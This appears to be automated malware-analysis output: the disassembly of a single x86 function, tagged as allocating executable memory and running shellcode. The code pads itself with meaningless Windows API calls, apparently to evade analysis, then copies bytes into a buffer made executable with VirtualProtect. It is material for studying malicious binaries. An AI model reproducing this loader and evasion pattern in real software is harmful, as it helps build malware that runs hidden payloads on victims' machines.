Function at 0x4049aa
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov eax, 0x474984
call fcn.00474888
mov eax, 0x1c70
call fcn.00413c00
push ebx
push esi
xor esi, esi
cmp dword [0x527ee8], 0x5b1
push edi
jne 0x404a84
push esi
lea eax, [ebp - 0x47c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
lea eax, [ebp - 0x7c]
push eax
push esi
push esi
push 0x4040b0
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
push esi
push dword [ebp - 0x20]
lea eax, [ebp - 0xc7c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x3c]
call fcn.00404d74
push esi
mov dword [ebp - 4], esi
call fcn.00405af7
pop ecx
call fcn.004058a7
push 0x4040c8
lea ecx, [ebp - 0x1c]
call fcn.004044e0
lea ecx, [ebp - 0x1c]
call fcn.004044fc
lea ecx, [ebp - 0x1c]
call fcn.00404542
lea ecx, [ebp - 0x1c]
call fcn.0040455b
push esi
push esi
call fcn.004061b7
push esi
call fcn.00406188
add esp, 0xc
push esi
push esi
call fcn.00405a83
pop ecx
pop ecx
push esi
call fcn.0040672f
add dword [0x527ee8], 0x1134b
push dword [0x527ee8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x526e3c], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x404aa5
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [0x527ee8]
push dword [0x526e3c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404afe
inc edi
cmp edi, 0x4f6a4
jl 0x404ae4
xor edi, edi
cmp dword [0x527ee8], esi
jbe 0x404b57
cmp dword [0x527ee8], 0xa8
mov eax, dword [0x527eec]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x526e3c]
mov byte [ecx + edi], al
jne 0x404b4e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x4040d8
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x527ee8]
jb 0x404b08
xor edi, edi
mov eax, dword [0x527ee8]
add eax, edi
cmp eax, 0xe
jne 0x404baf
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [ebp - 0xc7c]
push eax
push esi
push 0x404118
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x404b59
call fcn.00404888
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x404bcc
call fcn.00404990
inc edi
cmp edi, 0x6753f
jl 0x404bbf
push 0x7b
pop edi
cmp dword [0x527ee8], 0x86
jne 0x404c3e
lea eax, [ebp - 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x404160
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [ebp - 0x147c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
lea eax, [ebp - 0x1c7c]
push eax
push esi
push 0x404178
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x404bd8
push 0x404190
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret